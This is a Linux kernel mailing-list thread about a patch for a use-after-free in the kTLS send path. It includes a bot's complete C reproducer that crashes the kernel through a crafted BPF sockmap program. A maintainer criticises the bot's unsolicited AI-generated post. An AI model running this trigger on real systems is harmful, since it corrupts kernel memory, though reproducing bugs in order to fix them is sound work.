Netdev List
 help / color / mirror / Atom feed
* [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path
@ 2026-06-05 21:48 Sechang Lim
  2026-06-09 15:25 ` abaci-kreproducer
  2026-06-09 21:58 ` Jakub Kicinski
  0 siblings, 2 replies; 4+ messages in thread
From: Sechang Lim @ 2026-06-05 21:48 UTC (permalink / raw)
  To: John Fastabend, Jakub Kicinski, Sabrina Dubroca, David S . Miller,
	Eric Dumazet, Paolo Abeni
  Cc: Simon Horman, Jiayuan Chen, Alexei Starovoitov, netdev, bpf,
	linux-kernel

tls_sw_sendmsg_locked() caches a pointer into the open record:

	rec    = ctx->open_rec;
	msg_pl = &rec->msg_plaintext;

and keeps using msg_pl after bpf_exec_tx_verdict(). When an attached
SK_MSG bpf program calls bpf_msg_apply_bytes(), tls_push_record() splits the
open record: the original record is encrypted, queued and freed by
tls_tx_records(), while ctx->open_rec is replaced by the split remainder.
If the bpf program also sets cork_bytes, bpf_exec_tx_verdict() then returns
-ENOSPC, and the error path dereferences the now-dangling msg_pl:

	else if (ctx->open_rec && ret == -ENOSPC) {
		if (msg_pl->cork_bytes) {	/* use-after-free */

  BUG: KASAN: slab-use-after-free in tls_sw_sendmsg+0x118d/0x16f0
  Read of size 4 at addr ffff88810a36f2ac by task syz.0.17/2056
  CPU: 1 UID: 0 PID: 2056 Comm: syz.0.17 Not tainted 7.1.0-rc6 #2
  Call Trace:
   tls_sw_sendmsg+0x118d/0x16f0
   __sock_sendmsg+0xe4/0x130
   __sys_sendto+0x2fe/0x3f0
   __x64_sys_sendto+0x7b/0x90
   do_syscall_64+0x14c/0x480
   entry_SYSCALL_64_after_hwframe+0x77/0x7f

  Allocated by task 2056:
   tls_get_rec+0x7a/0x3d0
   tls_sw_sendmsg+0x3cd/0x16f0
   __sock_sendmsg+0xe4/0x130
   __sys_sendto+0x2fe/0x3f0

  Freed by task 2056:
   kfree+0x163/0x560
   tls_tx_records+0x2d6/0x380
   bpf_exec_tx_verdict+0x3de/0xd50
   tls_sw_sendmsg+0x10e9/0x16f0
   __sock_sendmsg+0xe4/0x130
   __sys_sendto+0x2fe/0x3f0

ctx->open_rec already points at the live record on this path, so re-fetch
msg_pl from it before use.

Fixes: 54a3ecaeeeae ("bpf: fix ktls panic with sockmap")
Signed-off-by: Sechang Lim <rhkrqnwk98@gmail.com>
---
 net/tls/tls_sw.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/net/tls/tls_sw.c b/net/tls/tls_sw.c
index 964ebc268ee4..39dee66cc99b 100644
--- a/net/tls/tls_sw.c
+++ b/net/tls/tls_sw.c
@@ -1165,6 +1165,7 @@ static int tls_sw_sendmsg_locked(struct sock *sk, struct msghdr *msg,
 				else if (ret == -ENOMEM)
 					goto wait_for_memory;
 				else if (ctx->open_rec && ret == -ENOSPC) {
+					msg_pl = &ctx->open_rec->msg_plaintext;
 					if (msg_pl->cork_bytes) {
 						ret = 0;
 						goto send_end;
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path
  2026-06-05 21:48 [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path Sechang Lim
@ 2026-06-09 15:25 ` abaci-kreproducer
  2026-06-09 21:57   ` Jakub Kicinski
  2026-06-09 21:58 ` Jakub Kicinski
  1 sibling, 1 reply; 4+ messages in thread
From: abaci-kreproducer @ 2026-06-09 15:25 UTC (permalink / raw)
  To: Sechang Lim
  Cc: John Fastabend, Jakub Kicinski, Sabrina Dubroca, David S . Miller,
	Eric Dumazet, Paolo Abeni, Simon Horman, Jiayuan Chen,
	Alexei Starovoitov, netdev, bpf, linux-kernel, Oliver

From: abaci-kreproducer <abaci@linux.alibaba.com>

This is an AI-generated validation of this patch. The issue was
reproduced on the unpatched kernel, and the original symptoms were no
longer observed on the patched kernel. However, additional issues were
identified during validation (details below).

Tested-by: abaci-kreproducer <abaci@linux.alibaba.com>
---
We reproduced this issue on the unpatched kernel:

KASAN reported a slab-use-after-free in tls_sw_sendmsg+0x1df5/0x1f40:
a 4-byte read of the freed cork_bytes field inside a freed kmalloc-4k
object.

In tls_sw_sendmsg_locked(), msg_pl is cached before bpf_exec_tx_verdict().
When a BPF SK_MSG program forces a record split via apply_bytes, the
original tls_rec is freed but msg_pl remains stale. The subsequent
-ENOSPC error path dereferences msg_pl->cork_bytes, triggering UAF.

The reproducer uses a sockmap with an SK_MSG program that sets
apply_bytes=100 and cork_bytes=32768. Sending 8KB with MSG_MORE followed
by 8KB without MSG_MORE triggers the split and stale pointer dereference.

On the patched kernel, no KASAN slab-use-after-free is reported.

Additional issues were identified during validation: the patched kernel
hits a fatal kernel BUG at lib/iov_iter.c:635 (Oops: invalid opcode) in
iov_iter_revert+0x39b/0x3e0, called from tls_sw_sendmsg+0x1aac/0x20f0.
This appears to be a new failure mode exposed by the fix.

    kernel BUG at lib/iov_iter.c:635!
    Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
    RIP: 0010:iov_iter_revert+0x39b/0x3e0
    Call Trace:
      tls_sw_sendmsg+0x1aac/0x20f0
      __sys_sendto+0x35b/0x3e0
      __x64_sys_sendto+0xdc/0x1b0
      do_syscall_64+0x10d/0x510
      entry_SYSCALL_64_after_hwframe+0x77/0x7f

---
Key configuration
* kconfig:
CONFIG_TLS=y
CONFIG_BPF_SYSCALL=y
CONFIG_INET=y
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KASAN_INLINE=y
CONFIG_NET_SOCK_MSG=y
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_GCM=y
* kernel_cmdline: -
* rpm package: -
--
run.sh
#!/bin/bash
set -eu

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
BIN_DIR="${SCRIPT_DIR}/bin"
RESULTS_DIR="${SCRIPT_DIR}/results"
REPRODUCER_SRC="${BIN_DIR}/reproducer.c"
REPRODUCER_BIN="${BIN_DIR}/reproducer"

mkdir -p "${RESULTS_DIR}"

echo "=== TLS kTLS sendmsg cork UAF reproducer ==="
echo "Commit: 7723129261d09c9328bd1b332598b9fd465ad823"
echo ""

echo "[*] Checking kernel config..."
KCONFIG="$(zcat /proc/config.gz 2>/dev/null || cat /boot/config-$(uname -r) 2>/dev/null || echo "")"

check_config() {
    echo "$KCONFIG" | grep -cE "$1=[ym]" > /dev/null 2>&1
}

if ! check_config "CONFIG_TLS"; then
	echo "[!] CONFIG_TLS not enabled. Cannot reproduce."
	exit 1
fi
if ! check_config "CONFIG_BPF_SYSCALL"; then
	echo "[!] CONFIG_BPF_SYSCALL not enabled. Cannot reproduce."
	exit 1
fi
if ! check_config "CONFIG_NET_SOCK_MSG"; then
	echo "[!] CONFIG_NET_SOCK_MSG not enabled. Cannot reproduce."
	exit 1
fi
if check_config "CONFIG_KASAN"; then
	echo "[*] KASAN is enabled (will detect UAF)"
else
	echo "[*] WARNING: KASAN not enabled. UAF may not be detected by kernel."
fi

modprobe tls || true

echo "[*] Compiling reproducer..."
gcc -o "${REPRODUCER_BIN}" "${REPRODUCER_SRC}" -Wall -O2 -lpthread
echo "[*] Compiled: ${REPRODUCER_BIN}"

dmesg -C

echo "[*] Running reproducer..."
"${REPRODUCER_BIN}" 2>&1 | tee "${RESULTS_DIR}/test-output.txt" || true

echo ""
echo "[*] Collecting dmesg output..."
dmesg > "${RESULTS_DIR}/dmesg-errors.txt" 2>&1 || true

if dmesg | grep -ciE "KASAN.*use-after-free|slab-use-after-free" | grep -qv "^0$"; then
	echo ""
	echo "============================================"
	echo "  BUG REPRODUCED: KASAN detected UAF!"
	echo "============================================"
	echo ""
	echo "Relevant dmesg lines:"
	dmesg | grep -iE "BUG:|KASAN:|use-after-free|slab-use-after-free|tls_sw_sendmsg" | tail -20
	exit 0
fi

if dmesg | grep -ciE "Oops|general protection|kernel panic" | grep -qv "^0$"; then
	echo ""
	echo "============================================"
	echo "  BUG REPRODUCED: kernel error detected!"
	echo "============================================"
	echo ""
	dmesg | grep -iE "Oops|general protection|kernel panic" | tail -10
	exit 0
fi

echo ""
echo "============================================"
echo "  Bug NOT detected (KASAN may be required)"
echo "============================================"
exit 1
--
reproducer.c
/*
 * Reproducer for: tls: fix use-after-free in tls_sw_sendmsg() cork error path
 * Commit: 7723129261d09c9328bd1b332598b9fd465ad823
 *
 * Bug: In tls_sw_sendmsg_locked(), msg_pl is cached from ctx->open_rec before
 * calling bpf_exec_tx_verdict(). When the attached SK_MSG BPF program calls
 * bpf_msg_apply_bytes() + bpf_msg_push_data(), tls_push_record() splits the
 * open record: the original record is encrypted, queued and freed by
 * tls_tx_records(), while ctx->open_rec is replaced by the split remainder.
 * If the BPF program also sets cork_bytes, the second iteration in
 * bpf_exec_tx_verdict() returns -ENOSPC, and the error path dereferences the
 * now-dangling msg_pl (use-after-free).
 *
 * Fix: Re-fetch msg_pl from ctx->open_rec before accessing cork_bytes in
 * the -ENOSPC error path.
 *
 * Trigger:
 *   1. Create TCP socket, add to sockmap with SK_MSG BPF program
 *   2. Enable kTLS TX (AES-GCM-128)
 *   3. BPF program: apply_bytes(100) + push_data(0, 200) + cork_bytes(32768)
 *   4. Send 8KB with MSG_MORE (accumulates data in open record)
 *   5. Send 8KB without MSG_MORE (fills TLS record -> split + cork ENOSPC -> UAF)
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/tls.h>
#include <linux/bpf.h>

#ifndef SOL_TLS
#define SOL_TLS 300
#endif

#ifndef TLS_1_2_VERSION
#define TLS_1_2_VERSION 0x0303
#endif

/* BPF helper function IDs */
#define BPF_FUNC_msg_apply_bytes 61
#define BPF_FUNC_msg_cork_bytes  62
#define BPF_FUNC_msg_push_data   90

#define BPF_JMP     0x05
#define BPF_ALU     0x04
#define BPF_ALU64   0x07
#define BPF_K       0x00
#define BPF_X       0x08
#define BPF_MOV     0xb0
#define BPF_CALL    0x80
#define BPF_EXIT    0x90

#define SK_PASS 1
#define NUM_ITERATIONS 3
#define SEND_SIZE 8192

/*
 * SK_MSG BPF program (raw insns, no clang required):
 *   R6 = R1;                                  // save ctx (callee-saved)
 *   R2 = 100;  bpf_msg_apply_bytes(ctx, 100); // force record split at 100 bytes
 *   R1 = R6;                                  // restore ctx after call
 *   R2 = 0; R3 = 200; R4 = 0;
 *   bpf_msg_push_data(ctx, 0, 200, 0);        // grow sg.size beyond encrypted buffer
 *   R1 = R6;                                  // restore ctx
 *   R2 = 32768; bpf_msg_cork_bytes(ctx, 32768); // cork at 32KB
 *   R0 = SK_PASS; return SK_PASS;
 *
 * How the UAF is triggered:
 *   1st BPF invocation: apply_bytes=100 causes tls_push_record() to split the
 *     open record. The front part (100 bytes) is encrypted, queued, and freed
 *     by tls_tx_records(). ctx->open_rec now points to the split remainder.
 *     push_data(0,200) grows sg.size, ensuring the split triggers correctly.
 *   2nd BPF invocation (on remainder): apply_bytes was consumed (0), so BPF
 *     re-runs. cork_bytes=32768 is set. Since 32768 > remainder size and not
 *     a full record, bpf_exec_tx_verdict() returns -ENOSPC.
 *   Back in tls_sw_sendmsg_locked(): msg_pl still points to the OLD record
 *     (freed in step 1). Accessing msg_pl->cork_bytes is a use-after-free.
 */
static struct bpf_insn bpf_prog[] = {
	/* R6 = R1 (save ctx to callee-saved register) */
	{ .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = 6, .src_reg = 1, .off = 0, .imm = 0 },
	/* bpf_msg_apply_bytes(ctx, 100) */
	{ .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = 2, .src_reg = 0, .off = 0, .imm = 100 },
	{ .code = BPF_JMP | BPF_CALL, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = BPF_FUNC_msg_apply_bytes },
	/* R1 = R6 (restore ctx after call clobbered R1) */
	{ .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = 1, .src_reg = 6, .off = 0, .imm = 0 },
	/* bpf_msg_push_data(ctx, offset=0, length=200, flags=0) */
	{ .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = 2, .src_reg = 0, .off = 0, .imm = 0 },
	{ .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = 3, .src_reg = 0, .off = 0, .imm = 200 },
	{ .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = 4, .src_reg = 0, .off = 0, .imm = 0 },
	{ .code = BPF_JMP | BPF_CALL, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = BPF_FUNC_msg_push_data },
	/* R1 = R6 (restore ctx) */
	{ .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = 1, .src_reg = 6, .off = 0, .imm = 0 },
	/* bpf_msg_cork_bytes(ctx, 32768) */
	{ .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = 2, .src_reg = 0, .off = 0, .imm = 32768 },
	{ .code = BPF_JMP | BPF_CALL, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = BPF_FUNC_msg_cork_bytes },
	/* return SK_PASS */
	{ .code = BPF_ALU | BPF_MOV | BPF_K, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = SK_PASS },
	{ .code = BPF_JMP | BPF_EXIT, .dst_reg = 0, .src_reg = 0, .off = 0, .imm = 0 },
};

static int bpf_prog_fd = -1;
static int map_fd_global = -1;
static volatile int server_done = 0;

static int sys_bpf(int cmd, union bpf_attr *attr)
{
	return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static void *server_thread(void *arg)
{
	int listen_fd = *(int *)arg;
	char buf[4096];

	int conn_fd = accept(listen_fd, NULL, NULL);
	if (conn_fd < 0) {
		perror("accept");
		return NULL;
	}

	while (!server_done) {
		ssize_t n = read(conn_fd, buf, sizeof(buf));
		if (n <= 0)
			break;
	}

	close(conn_fd);
	return NULL;
}

static void cleanup(int client_fd, int listen_fd)
{
	server_done = 1;
	if (client_fd >= 0)
		shutdown(client_fd, SHUT_RDWR);
	usleep(100000);
	if (client_fd >= 0)
		close(client_fd);
	if (listen_fd >= 0)
		close(listen_fd);
	if (map_fd_global >= 0) {
		close(map_fd_global);
		map_fd_global = -1;
	}
	if (bpf_prog_fd >= 0) {
		close(bpf_prog_fd);
		bpf_prog_fd = -1;
	}
}

static int setup_and_trigger(int iteration)
{
	struct sockaddr_in addr;
	socklen_t addrlen = sizeof(addr);
	pthread_t tid;
	int listen_fd = -1, client_fd = -1, map_fd = -1;

	printf("[%d] Setting up TCP connection on loopback...\n", iteration);

	listen_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (listen_fd < 0) {
		perror("socket(listen)");
		return 1;
	}

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	addr.sin_port = 0;

	if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("bind");
		close(listen_fd);
		return 1;
	}

	if (listen(listen_fd, 1) < 0) {
		perror("listen");
		close(listen_fd);
		return 1;
	}

	addrlen = sizeof(addr);
	getsockname(listen_fd, (struct sockaddr *)&addr, &addrlen);

	pthread_create(&tid, NULL, server_thread, &listen_fd);

	client_fd = socket(AF_INET, SOCK_STREAM, 0);
	if (client_fd < 0) {
		perror("socket(client)");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		perror("connect");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	/* STEP 1: Create sockmap and attach BPF BEFORE setting up TLS ULP.
	 * sk_psock_init() rejects sockets that already have ULP (TLS) attached. */
	printf("[%d] Creating sockmap and loading BPF program...\n", iteration);

	union bpf_attr map_attr;
	memset(&map_attr, 0, sizeof(map_attr));
	map_attr.map_type = BPF_MAP_TYPE_SOCKMAP;
	map_attr.key_size = sizeof(int);
	map_attr.value_size = sizeof(int);
	map_attr.max_entries = 1;

	map_fd = sys_bpf(BPF_MAP_CREATE, &map_attr);
	if (map_fd < 0) {
		perror("bpf(BPF_MAP_CREATE)");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}
	map_fd_global = map_fd;

	char log_buf[4096] = {0};
	union bpf_attr prog_attr;
	memset(&prog_attr, 0, sizeof(prog_attr));
	prog_attr.prog_type = BPF_PROG_TYPE_SK_MSG;
	prog_attr.insns = (unsigned long long)bpf_prog;
	prog_attr.insn_cnt = sizeof(bpf_prog) / sizeof(bpf_prog[0]);
	prog_attr.license = (unsigned long long)"GPL";
	prog_attr.log_buf = (unsigned long long)log_buf;
	prog_attr.log_size = sizeof(log_buf);
	prog_attr.log_level = 1;
	prog_attr.kern_version = 0;

	bpf_prog_fd = sys_bpf(BPF_PROG_LOAD, &prog_attr);
	if (bpf_prog_fd < 0) {
		perror("bpf(BPF_PROG_LOAD)");
		fprintf(stderr, "BPF verifier log:\n%s\n", log_buf);
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	union bpf_attr attach_attr;
	memset(&attach_attr, 0, sizeof(attach_attr));
	attach_attr.attach_type = BPF_SK_MSG_VERDICT;
	attach_attr.target_fd = map_fd;
	attach_attr.attach_bpf_fd = bpf_prog_fd;

	if (sys_bpf(BPF_PROG_ATTACH, &attach_attr) < 0) {
		perror("bpf(BPF_PROG_ATTACH)");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	/* Add client socket to sockmap BEFORE TLS setup */
	int key = 0;
	union bpf_attr update_attr;
	memset(&update_attr, 0, sizeof(update_attr));
	update_attr.map_fd = map_fd;
	update_attr.key = (unsigned long long)&key;
	update_attr.value = (unsigned long long)&client_fd;
	update_attr.flags = 0;

	if (sys_bpf(BPF_MAP_UPDATE_ELEM, &update_attr) < 0) {
		perror("bpf(BPF_MAP_UPDATE_ELEM)");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	/* STEP 2: Set up TLS ULP and kTLS TX */
	printf("[%d] Enabling kTLS TX (AES-GCM-128)...\n", iteration);

	/* Attach TLS ULP to the socket (TCP_ULP = 31) */
	if (setsockopt(client_fd, IPPROTO_TCP, 31, "tls", 3) < 0) {
		perror("setsockopt(TCP_ULP, tls)");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	struct tls12_crypto_info_aes_gcm_128 crypto_info;
	memset(&crypto_info, 0, sizeof(crypto_info));
	crypto_info.info.version = TLS_1_2_VERSION;
	crypto_info.info.cipher_type = TLS_CIPHER_AES_GCM_128;

	if (setsockopt(client_fd, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) {
		perror("setsockopt(TLS_TX)");
		fprintf(stderr, "Hint: CONFIG_TLS=y required\n");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	printf("[%d] Setup complete. Triggering UAF...\n", iteration);

	char *buf = calloc(1, SEND_SIZE);
	if (!buf) {
		perror("calloc");
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}

	/* First send with MSG_MORE: accumulates data in the open record
	 * without triggering bpf_exec_tx_verdict (eor=false, full_record=false) */
	printf("[%d] Sending %d bytes with MSG_MORE (accumulating)...\n", iteration, SEND_SIZE);
	ssize_t n = send(client_fd, buf, SEND_SIZE, MSG_MORE);
	if (n < 0) {
		fprintf(stderr, "[%d] First send failed: %s\n", iteration, strerror(errno));
		free(buf);
		cleanup(client_fd, listen_fd);
		pthread_join(tid, NULL);
		return 1;
	}
	printf("[%d] Sent %zd bytes (MSG_MORE)\n", iteration, n);

	/* Second send without MSG_MORE: eor=true triggers bpf_exec_tx_verdict.
	 * BPF program sets apply_bytes(100) -> split -> push_data(200) -> cork_bytes(32768).
	 * Split frees the original record, remainder goes to 2nd BPF call which
	 * sets cork_bytes > remainder size -> -ENOSPC -> UAF on dangling msg_pl. */
	printf("[%d] Sending %d bytes without MSG_MORE (triggering UAF)...\n", iteration, SEND_SIZE);
	n = send(client_fd, buf, SEND_SIZE, 0);
	if (n < 0) {
		fprintf(stderr, "[%d] Second send: %s (errno=%d)\n", iteration, strerror(errno), errno);
	} else {
		printf("[%d] Sent %zd bytes\n", iteration, n);
	}

	free(buf);
	usleep(50000);

	printf("[%d] Checking dmesg for KASAN reports...\n", iteration);
	fflush(stdout);
	system("dmesg | grep -iE 'BUG:|KASAN:|use-after-free|slab-use-after-free|tls_sw_sendmsg' | tail -10");

	cleanup(client_fd, listen_fd);
	pthread_join(tid, NULL);
	return 0;
}

int main(void)
{
	printf("[*] Reproducer: TLS kTLS sendmsg cork UAF (7723129261d0)\n");
	printf("[*] Trigger: bpf_msg_apply_bytes() + bpf_msg_push_data() + bpf_msg_cork_bytes()\n");
	printf("[*] BPF helpers: apply=%d, cork=%d, push=%d\n",
	       BPF_FUNC_msg_apply_bytes, BPF_FUNC_msg_cork_bytes, BPF_FUNC_msg_push_data);
	printf("[*] Running %d iterations\n\n", NUM_ITERATIONS);

	alarm(60);
	system("dmesg -C 2>/dev/null");

	for (int i = 0; i < NUM_ITERATIONS; i++) {
		int ret = setup_and_trigger(i);
		if (ret != 0) {
			fprintf(stderr, "[%d] Setup/trigger failed with code %d\n", i, ret);
			continue;
		}

		int kasan_found = 0;
		FILE *fp = popen("dmesg | grep -ciE 'KASAN:.*use-after-free|slab-use-after-free' 2>/dev/null", "r");
		if (fp) {
			int count = 0;
			if (fscanf(fp, "%d", &count) == 1 && count > 0)
				kasan_found = 1;
			pclose(fp);
		}

		if (kasan_found) {
			printf("\n[!] KASAN use-after-free detected at iteration %d!\n", i);
			break;
		}
	}

	printf("\n[*] Final dmesg check:\n");
	fflush(stdout);
	system("dmesg | grep -iE 'BUG:|KASAN:|use-after-free|slab-use-after-free|tls_sw_sendmsg' | tail -30");

	return 0;
}

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path
  2026-06-09 15:25 ` abaci-kreproducer
@ 2026-06-09 21:57   ` Jakub Kicinski
  0 siblings, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-06-09 21:57 UTC (permalink / raw)
  To: abaci-kreproducer
  Cc: Sechang Lim, John Fastabend, Sabrina Dubroca, David S . Miller,
	Eric Dumazet, Paolo Abeni, Simon Horman, Jiayuan Chen,
	Alexei Starovoitov, netdev, bpf, linux-kernel, Oliver

On Tue, 09 Jun 2026 23:25:56 +0800 abaci-kreproducer wrote:
> From: abaci-kreproducer <abaci@linux.alibaba.com>
> 
> This is an AI-generated validation of this patch. The issue was
> reproduced on the unpatched kernel, and the original symptoms were no
> longer observed on the patched kernel. However, additional issues were
> identified during validation (details below).

Please never spam mailing list without automated bots unless
the maintainers have given you permission.

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path
  2026-06-05 21:48 [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path Sechang Lim
  2026-06-09 15:25 ` abaci-kreproducer
@ 2026-06-09 21:58 ` Jakub Kicinski
  1 sibling, 0 replies; 4+ messages in thread
From: Jakub Kicinski @ 2026-06-09 21:58 UTC (permalink / raw)
  To: Sechang Lim
  Cc: John Fastabend, Sabrina Dubroca, David S . Miller, Eric Dumazet,
	Paolo Abeni, Simon Horman, Jiayuan Chen, Alexei Starovoitov,
	netdev, bpf, linux-kernel

On Fri,  5 Jun 2026 21:48:00 +0000 Sechang Lim wrote:
> Subject: [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path

This patch has already been proposed, it's not enough and there's no
clear path to fixing sockmap + TLS so it will likely get de-featured
soon..
-- 
pw-bot: reject

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-06-09 21:58 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-06-05 21:48 [PATCH net] tls: fix use-after-free in tls_sw_sendmsg() cork error path Sechang Lim
2026-06-09 15:25 ` abaci-kreproducer
2026-06-09 21:57   ` Jakub Kicinski
2026-06-09 21:58 ` Jakub Kicinski

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox